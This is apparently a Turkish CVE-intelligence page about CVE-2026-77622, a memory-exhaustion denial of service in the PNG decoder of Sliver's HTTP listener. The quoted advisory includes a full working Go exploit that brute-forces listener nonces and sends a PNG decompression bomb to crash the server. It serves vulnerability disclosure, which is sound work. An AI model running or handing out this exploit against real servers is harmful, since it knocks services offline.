Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder
CVSS Skor
—
EPSS İhtimal
—
Risk Skoru
—
Yayın
8 sa önce
Resmî kaynaklarda yeterli kanıt bulunamadı. Bu sonuç “yama yok” anlamına gelmez.
Envanterimdeki Etkisi
Yalnızca hesabınıza eklediğiniz kişisel ürünler değerlendirilir; kurumsal envanter burada görünmez.
Oturum kontrol ediliyor…
Zafiyet Açıklaması
CVE AI araştırması
DayBreach AI Açıklaması
Kaynakla doğrulandıOkunan kaynak
1
Kaynak uyumu
Tam uyum
Kanıt güveni
%55
Kısa açıklama
CVE-2026-77622, Sliver yazılımının HTTP(S) dinleyicisindeki PNG kod çözücüsünde, kimlik doğrulaması gerektirmeyen bellek tüketimi yoluyla hizmet kesintisine yol açan bir açıktır.
Bu açık, saldırganların sunucunun RAM kaynaklarını tamamen tüketmesine ve hizmetin tamamen kesilmesine neden olmasını sağlar.
Ne yapılmalı?
- Satıcı danışmanlığını takip edin
- Docker ortamlarında bellek sınırı uygulayın
Kanıt zinciri ve kaynaklar
Sliver, açık bir HTTP dinleyicisine gönderilen PNG dosyalarının boyutunda sınır olmaması nedeniyle hizmet kesintisi saldırılarına karşı savunmasızdır.
Saldırganlar, sunucuyu çalıştıran makinenin RAM kaynaklarını tamamen tüketerek hizmetin tamamen kullanılmaz hale gelmesine neden olabilir.
Kaynaklardaki teknik metni göster
### Summary Sliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability. ### Details The first vulnerability is that the amount of possible nonces is 65,537. This is found in `server/encoders/encoders.go` ```go const ( EncoderModulus = uint64(65537) ) ``` The second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in: `util/encoders/images.go` ```go func (p PNGEncoder) Encode(data []byte) ([]byte, error) { img := imageFromBytes(data) var buf bytes.Buffer encoder.Encode(&buf, img) return buf.Bytes(), nil } func (p PNGEncoder) Decode(data []byte) ([]byte, error) { buf := bytes.NewBuffer(data) img, err := png.Decode(buf) if err != nil { return nil, err } return bytesFromImage(img), nil } ``` ### PoC The first step to reproduce this vulnerability is building a docker container to make sure no harm is caused. Get the latest version of Sliver (Currently 1.7.3) ```bash git clone https://github.com/BishopFox/sliver.git ``` Build the Docker container: ```bash cd sliver docker build -t sliver-test:local -f Dockerfile . ``` Run the Docker container with a memory cap for example 4GB: ```bash docker run --rm \ --name sliver-test \ --memory=4g \ -p 8080:8080 \ -it \ sliver-test:local ``` After the Docker container starts, create an http listener on port 8080: ```bash http -L 0.0.0.0 -l 8080 ``` In a seperate terminal create the following Go project: `go.mod` ```Go module pngboomer go 1.25 ``` `poc.go` ```Go // pngboomer — Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill. // // SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run // it against a Docker container with --memory=<N>g and pass -target-cap-mb N // so the tool can refuse dangerous worker/probe combos. // // Build: go build -o pngboomer // Demo: ./pngboomer -url http://target:8080/ -target-cap-mb 10240 package main import ( "bytes" "compress/zlib" "context" "encoding/binary" "flag" "fmt" "hash/crc32" "io" "math/rand" "net" "net/http" "net/url" "os" "sort" "sync" "sync/atomic" "time" ) // ANSI color — single helper, disabled by -no-color / -silent. var nocolor bool func col(code, s string) string { if nocolor { return s } return "\x1b[" + code + "m" + s + "\x1b[0m" } func B(s string) string { return col("1", s) } func D(s string) string { return col("2", s) } func R(s string) string { return col("1;31", s) } func G(s string) string { return col("1;32", s) } func Y(s string) string { return col("1;33", s) } func C(s string) string { return col("1;36", s) } func ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 } // PNG forging — stream zero-rows into zlib so client RSS stays ~10 MB even for // the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px). func chunk(typ string, data []byte) []byte { out := make([]byte, 4, 12+len(data)) binary.BigEndian.PutUint32(out, uint32(len(data))) out = append(out, typ...) out = append(out, data...) crc := crc32.NewIEEE() crc.Write([]byte(typ)) crc.Write(data) tail := make([]byte, 4) binary.BigEndian.PutUint32(tail, crc.Sum32()) return append(out, tail...) } func makePNG(W, H, ct int) []byte { bpp := 3 if ct == 6 { bpp = 4 } var zb bytes.Buffer zw, _ := zlib.NewWriterLevel(&zb, zlib.BestCompression) row := make([]byte, 1+bpp*W) for i := 0; i < H; i++ { zw.Write(row) } zw.Close() ihdr := make([]byte, 13) binary.BigEndian.PutUint32(ihdr[0:4], uint32(W)) binary.BigEndian.PutUint32(ihdr[4:8], uint32(H)) ihdr[8], ihdr[9] = 8, byte(ct) out := []byte("\x89PNG\r\n\x1a\n") out = append(out, chunk("IHDR", ihdr)...) out = append(out, chunk("IDAT", zb.Bytes())...) return append(out, chunk("IEND", nil)...) } // HTTP helpers func hostPort(u string) string { p, _ := url.Parse(u) if p.Port() != "" { return p.Hostname() + ":" + p.Port() } if p.Scheme == "https" { return p.Hostname() + ":443" } return p.Hostname() + ":80" } func alive(hp string, t time.Duration) bool { c, err := net.DialTimeout("tcp", hp, t) if err != nil { return false } c.Close() return true } func post(ctx context.Context, cli *http.Client, base string, body []byte, n uint64) time.Duration { req, _ := http.NewRequestWithContext(ctx, "POST", fmt.Sprintf("%s?n=%d", base, n), bytes.NewReader(body)) req.Header.Set("Content-Type", "application/octet-stream") t := time.Now() resp, err := cli.Do(req) dt := time.Since(t) if err == nil { io.Copy(io.Discard, resp.Body) resp.Body.Close() } return dt } type hit struct { n uint64 dt time.Duration } func main() { target := flag.String("url", "http://127.0.0.1:8080/", "Sliver HTTP C2 base URL") workers := flag.Int("workers", 8, "scan concurrency") probeW := flag.Int("probe-w", 2000, "probe PNG width") probeH := flag.Int("probe-h", 2000, "probe PNG height") probeCT := flag.Int("probe-color", 2, "probe color: 2=RGB, 6=RGBA") killW := flag.Int("kill-w", 32767, "kill PNG width") killH := flag.Int("kill-h", 32767, "kill PNG height") killCT := flag.Int("kill-color", 6, "kill color: 2=RGB, 6=RGBA") thMs := flag.Int("threshold-ms", 50, "threshold floor (effective = max(this, baseline_p99 × outlier-mult))") outlier := flag.Float64("outlier-mult", 15.0, "baseline_p99 × this = adaptive threshold") calibN := flag.Int("calibrate", 16, "non-PNG calibration samples") verifyN := flag.Int("verify", 3, "re-probe count per candidate") maxN := flag.Int("max-nonce", 65537, "top nonce (Sliver modulus = 65537)") pTO := flag.Duration("probe-timeout", 5*time.Second, "per-probe HTTP timeout") kTO := flag.Duration("kill-timeout", 180*time.Second, "kill request HTTP timeout") capMB := flag.Int("target-cap-mb", 10240, "declared target memory cap, 0 = disable check") known := flag.Int("nonce", 0, "skip scan, use this nonce directly") scanOnly := flag.Bool("scan-only", false, "stop after finding nonce, don't kill") noConf := flag.Bool("no-confirm", false, "don't TCP-poll for death after kill") noClr := flag.Bool("no-color", false, "disable ANSI color") silent := flag.Bool("silent", false, "only print nonce on stdout") flag.Parse() nocolor = *noClr || *silent pBpp, kBpp := 3, 3 if *probeCT == 6 { pBpp = 4 } if *killCT == 6 { kBpp = 4 } probeMB := pBpp * *probeW * *probeH / 1024 / 1024 killMB := kBpp * *killW * *killH / 1024 / 1024 peakMB := *workers * probeMB if *capMB > 0 && peakMB > *capMB/2 { fmt.Fprintf(os.Stderr, "%s scan peak %d MiB > target cap %d / 2 — lower -workers or -probe-w/h\n", R("[X] safety:"), peakMB, *capMB) os.Exit(2) } probe := makePNG(*probeW, *probeH, *probeCT) kill := makePNG(*killW, *killH, *killCT) hp := hostPort(*target) if !alive(hp, 2*time.Second) { fmt.Fprintf(os.Stderr, "%s target unreachable: %s\n", R("[X]"), hp) os.Exit(2) } if !*silent { fmt.Fprintln(os.Stderr, B("pngboomer — Sliver C2 PNG-bomb DoS")) fmt.Fprintf(os.Stderr, " probe %dB wire %dx%d c=%d → %d MiB decode\n", len(probe), *probeW, *probeH, *probeCT, probeMB) fmt.Fprintf(os.Stderr, " kill %dB wire %dx%d c=%d → %d MiB decode\n", len(kill), *killW, *killH, *killCT, killMB) fmt.Fprintf(os.Stderr, " scan peak ≈ %d MiB target cap=%d MiB reachable=%s\n", peakMB, *capMB, B(hp)) } cli := &http.Client{Timeout: *pTO, Transport: &http.Transport{MaxIdleConnsPerHost: *workers}} pngN := uint64(*known) if pngN == 0 { // ─── Phase 1: calibrate non-PNG baseline ─── dts := make([]time.Duration, *calibN) sem := make(chan struct{}, 8) var wg sync.WaitGroup for i := 0; i < *calibN; i++ { i := i sem <- struct{}{} wg.Add(1) go func() { defer wg.Done() defer func() { <-sem }() dts[i] = post(context.Background(), cli, *target, probe, uint64(rand.Intn(*maxN-1)+1)) }() } wg.Wait() sort.Slice(dts, func(i, j int) bool { return dts[i] < dts[j] }) p50, p99 := dts[len(dts)/2], dts[len(dts)*99/100] eff := int64(*thMs) if a := int64(float64(p99.Milliseconds()) * *outlier); a > eff { eff = a } *thMs = int(eff) thresh := time.Duration(*thMs) * time.Millisecond if !*silent { fmt.Fprintf(os.Stderr, " baseline p50=%.0fms p99=%.0fms → threshold=%s (max of floor, p99×%.0f)\n", ms(p50), ms(p99), B(fmt.Sprintf("%dms", *thMs)), *outlier) } // ─── Phase 2: scan with verify + blacklist-on-blip ─── blacklist := map[uint64]bool{} var maxDt int64 var maxNonce uint64 var totalDone uint64 scanStart := time.Now() const maxBlips = 8 // Shuffled nonce order, shared across re-scans. Workers pull via atomic // counter — no channels, no producer goroutine. order := make([]uint64, *maxN-1) for i := range order { order[i] = uint64(i + 1) } rand.Shuffle(len(order), func(i, j int) { order[i], order[j] = order[j], order[i] }) for blip := 0; blip < maxBlips && pngN == 0; blip++ { scanCtx, scanCancel := context.WithCancel(context.Background()) hits := make(chan hit, 1) var idx int64 var scanned uint64 var swg sync.WaitGroup for i := 0; i < *workers; i++ { swg.Add(1) go func() { defer swg.Done() for scanCtx.Err() == nil { i := atomic.AddInt64(&idx, 1) - 1 if i >= int64(len(order)) { return } n := order[i] if blacklist[n] { continue } dt := post(scanCtx, cli, *target, probe, n) atomic.AddUint64(&scanned, 1) for { // track slowest probe (lock-free CAS) cur := atomic.LoadInt64(&maxDt) if dt.Nanoseconds() <= cur { break } if atomic.CompareAndSwapInt64(&maxDt, cur, dt.Nanoseconds()) { atomic.StoreUint64(&maxNonce, n) break } } if dt >= thresh { select { case hits <- hit{n, dt}: default: } scanCancel() return } } }() } if !*silent { go func() { t := time.NewTicker(750 * time.Millisecond) defer t.Stop() for { select { case <-scanCtx.Done(): return case <-t.C: tot := atomic.LoadUint64(&totalDone) + atomic.LoadUint64(&scanned) el := time.Since(scanStart).Seconds() fmt.Fprintf(os.Stderr, D(" scanned %d (%.0f/s, %.1fs, blips=%d)\n"), tot, float64(tot)/el, el, blip) } } }() } go func() { swg.Wait(); close(hits) }() cand, ok := <-hits scanCancel() atomic.AddUint64(&totalDone, atomic.LoadUint64(&scanned)) if !ok { break // exhausted, no candidate } // VERIFY: re-probe N×, count threshold hits, render tries inline conf := 0 var tries bytes.Buffer for i := 0; i < *verifyN; i++ { dt := post(context.Background(), cli, *target, probe, cand.n) if dt >= thresh { conf++ tries.WriteString(G("✓")) } else { tries.WriteString(R("✗")) } fmt.Fprintf(&tries, "%.0fms ", ms(dt)) } if !*silent { fmt.Fprintf(os.Stderr, " candidate %s (%.0fms) verify: %s\n", B(fmt.Sprintf("%d", cand.n)), ms(cand.dt), tries.String()) } if conf >= (*verifyN+1)/2 { pngN = cand.n if !*silent { fmt.Fprintf(os.Stderr, "%s nonce=%s in %.2fs (%d probes, %d blips)\n", G("[+] FOUND"), B(fmt.Sprintf("%d", pngN)), time.Since(scanStart).Seconds(), atomic.LoadUint64(&totalDone), len(blacklist)) } break } blacklist[cand.n] = true if !*silent { fmt.Fprintf(os.Stderr, "%s nonce %d rejected (%d/%d) — blacklisted\n", Y("[!] blip"), cand.n, conf, *verifyN) } } if pngN == 0 { mDt := time.Duration(atomic.LoadInt64(&maxDt)) mN := atomic.LoadUint64(&maxNonce) fmt.Fprintf(os.Stderr, "%s no candidate ≥ %dms after %d probes\n", R("[X] scan failed:"), *thMs, atomic.LoadUint64(&totalDone)) fmt.Fprintf(os.Stderr, " slowest probe: nonce=%d at %.0fms\n", mN, ms(mDt)) suggest := mDt.Milliseconds() * 6 / 10 if suggest < 30 { suggest = 30 } fmt.Fprintf(os.Stderr, " fix: %s or grow -probe-w/-probe-h\n", C(fmt.Sprintf("-threshold-ms %d", suggest))) os.Exit(2) } } if *scanOnly { fmt.Println(pngN) return } // ─── Phase 3: fire kill bomb ─── if !*silent { fmt.Fprintf(os.Stderr, "%s firing kill (%d MiB decode) at %s?n=%d\n", B("[*]"), killMB, *target, pngN) } kCli := &http.Client{Timeout: *kTO} killStart := time.Now() done := make(chan struct{}) go func() { dt := post(context.Background(), kCli, *target, kill, pngN) if !*silent { fmt.Fprintf(os.Stderr, " kill returned in %.2fs\n", dt.Seconds()) } close(done) }() if *noConf { <-done fmt.Println(pngN) return } deadline := time.Now().Add(*kTO) for time.Now().Before(deadline) { time.Sleep(250 * time.Millisecond) if !alive(hp, time.Second) { if !*silent { fmt.Fprintf(os.Stderr, "%s killed in %.2fs (TCP refused at %s)\n", G("[+] ★ TARGET DEAD ★"), time.Since(killStart).Seconds(), hp) } fmt.Println(pngN) return } } fmt.Fprintf(os.Stderr, "%s target alive after %s — try larger -kill-w/-kill-h\n", Y("[!]"), *kTO) os.Exit(1) } ``` ### Impact This vulnerability can impact the availability of any Sliver server that has a running http listener. If the target server does not have a limit on the amount of memory the Sliver C2 can use it will lead to a host device crashing. ### Collaboration This vulnerability was found with the help of Wencheng Xue (panwnvda).
CWE: CWE-770
Açıklama yerel gemini-flash-lite-latest modeliyle üretildi. Sayısal metrikler, KEV, yama ve exploit durumları AI tarafından belirlenmez.
IMPACT — Etkilenen Ürünler ve Yazılımlar
Affected Products
The following products are affected by CVE-2026-77622 vulnerability. Even if our threat engine is aware of the exact versions of the products that are affected, the information is represented below.
| ID | VENDOR | PRODUCT | ACTION |
|---|---|---|---|
| 1 | go | github.com/BishopFox/sliver | İncele |
RED HAT CSAF/VEX — Ürün Etki Kontrolü
SCORING — CVSS Çoklu Kaynak Skoru
CVSS Scores
The Common Vulnerability Scoring System is a standardized framework for assessing the severity of vulnerabilities in software and systems. We collect and display CVSS scores from various sources for each CVE.
| SCORE | VERSION | SEVERITY | VECTOR | SOURCE |
|---|---|---|---|---|
| 8.2 | CVSS 4.0 | — | Vektör yayımlanmadı | GitHub Advisory |
Yama ve İyileştirme Rehberi (Solution)
Solution & Remediation Advisory
İncelenen resmî kaynaklarda yama durumu doğrulanamadı. Bu sonuç “yama yok” anlamına gelmez.
Public exploit ve aktif sömürü durumu
Doğrulanmış exploit istihbaratı
Bu CVE için henüz doğrulanmış public PoC, exploit repository’si veya Metasploit modülü bulunamadı.
Zafiyet Dağılımı ve Saldırı Kalıpları (CWE & CAPEC)
CWE - Common Weakness Enumeration
While CVE identifies specific instances of vulnerabilities, CWE categorizes the common flaws or weaknesses that can lead to vulnerabilities. CVE-2026-77622 is associated with the following CWEs:
Common Attack Pattern Enumeration and Classification (CAPEC)
Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2026-77622 weaknesses.
Resmi Kaynaklar ve Danışma Bültenleri
İlgili Benzer Açıklar
Code injection in Gitea
CVE-2026-76819
Identrail Cross-tenant IDOR: Client-supplied GitHub App installation_id is bound to the caller's workspace without ownership verification
Joker linter executed project-local .jokerd/linter.* files during linting
kin-openapi: Incomplete Fix for GHSA-p6wj-qrr4-pgh5: Three Unpatched nil-Items Panic Paths in openapi3filter
kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash
Bu açığı API ile alın
Etkilenen ürünler, sürüm aralıkları, istismar durumu ve yama bilgisi tek istekte; ücretsiz anahtarla.
curl -H "x-api-key: $DAYBREACH_API_KEY" \ "https://api.daybreach.dev/api/v1/intel/cves/CVE-2026-77622"